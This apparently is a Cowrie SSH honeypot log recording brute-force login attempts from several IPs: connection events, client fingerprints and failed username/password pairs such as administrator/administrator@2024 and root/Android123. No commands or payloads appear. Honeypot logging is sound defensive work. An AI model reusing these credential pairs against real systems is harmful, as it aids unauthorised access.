{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:16.404984Z","src_ip":"150.95.157.171","session":"4344727833a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45388,"dst_ip":"159.203.135.109","dst_port":22,"session":"f449f0e1b8d7","protocol":"ssh","message":"New connection: 159.203.92.129:45388 (159.203.135.109:22) [session: f449f0e1b8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:16.510270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:16.523194Z","src_ip":"159.203.92.129","session":"f449f0e1b8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:16.527638Z","src_ip":"159.203.92.129","session":"f449f0e1b8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2022","message":"login attempt [administrator/administrator@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:16.556655Z","src_ip":"159.203.92.129","session":"f449f0e1b8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:17.570764Z","src_ip":"159.203.92.129","session":"f449f0e1b8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":12642,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f092c3b35b0","protocol":"ssh","message":"New connection: 125.166.19.90:12642 (159.203.135.109:22) [session: 6f092c3b35b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:49.703848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:49.709745Z","src_ip":"125.166.19.90","session":"6f092c3b35b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:49.985250Z","src_ip":"125.166.19.90","session":"6f092c3b35b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd2024","message":"login attempt [ubuntu/P@ssw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:51.115538Z","src_ip":"125.166.19.90","session":"6f092c3b35b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:52.392330Z","src_ip":"125.166.19.90","session":"6f092c3b35b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54074,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9f497d3d84","protocol":"ssh","message":"New connection: 159.203.92.129:54074 (159.203.135.109:22) [session: 8c9f497d3d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:56.868190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:56.873035Z","src_ip":"159.203.92.129","session":"8c9f497d3d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:56.877651Z","src_ip":"159.203.92.129","session":"8c9f497d3d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2023","message":"login attempt [administrator/administrator@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:56.893233Z","src_ip":"159.203.92.129","session":"8c9f497d3d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:27:57.899947Z","src_ip":"159.203.92.129","session":"8c9f497d3d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42054,"dst_ip":"159.203.135.109","dst_port":22,"session":"a89cb1ec7af5","protocol":"ssh","message":"New connection: 159.203.92.129:42054 (159.203.135.109:22) [session: a89cb1ec7af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:39.738757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:39.744707Z","src_ip":"159.203.92.129","session":"a89cb1ec7af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:39.749805Z","src_ip":"159.203.92.129","session":"a89cb1ec7af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2024","message":"login attempt [administrator/administrator@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:39.760882Z","src_ip":"159.203.92.129","session":"a89cb1ec7af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:40.767633Z","src_ip":"159.203.92.129","session":"a89cb1ec7af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20581,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ae1de9fbdf9","protocol":"ssh","message":"New connection: 2.57.121.112:20581 (10.17.0.5:22) [session: 7ae1de9fbdf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:51.939693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:51.943658Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:52.043249Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190576","message":"login attempt [admin/190576] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:52.514318Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190482","message":"login attempt [admin/190482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:53.616303Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19031903","message":"login attempt [admin/19031903] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:54.718254Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190189","message":"login attempt [admin/190189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:55.819973Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18121971","message":"login attempt [admin/18121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:56.921097Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:28:58.023339Z","src_ip":"2.57.121.112","session":"7ae1de9fbdf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":46372,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f42c9aad17","protocol":"ssh","message":"New connection: 185.40.30.168:46372 (159.203.135.109:22) [session: e7f42c9aad17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:10.344890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:10.349259Z","src_ip":"185.40.30.168","session":"e7f42c9aad17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:10.479511Z","src_ip":"185.40.30.168","session":"e7f42c9aad17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Android123","message":"login attempt [root/Android123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:11.028077Z","src_ip":"185.40.30.168","session":"e7f42c9aad17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:12.160495Z","src_ip":"185.40.30.168","session":"e7f42c9aad17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34450,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b8a750b4d94","protocol":"ssh","message":"New connection: 159.203.92.129:34450 (159.203.135.109:22) [session: 5b8a750b4d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:22.395272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:22.401027Z","src_ip":"159.203.92.129","session":"5b8a750b4d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:22.404449Z","src_ip":"159.203.92.129","session":"5b8a750b4d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@2025","message":"login attempt [administrator/administrator@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:22.446214Z","src_ip":"159.203.92.129","session":"5b8a750b4d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:29:23.452990Z","src_ip":"159.203.92.129","session":"5b8a750b4d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":43966,"dst_ip":"159.203.135.109","dst_port":22,"session":"237a0963cf30","protocol":"ssh","message":"New connection: 185.40.30.168:43966 (159.203.135.109:22) [session: 237a0963cf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:05.015878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:30:05.035417Z","src_ip":"185.40.30.168","session":"237a0963cf30","protocol":"ssh"}
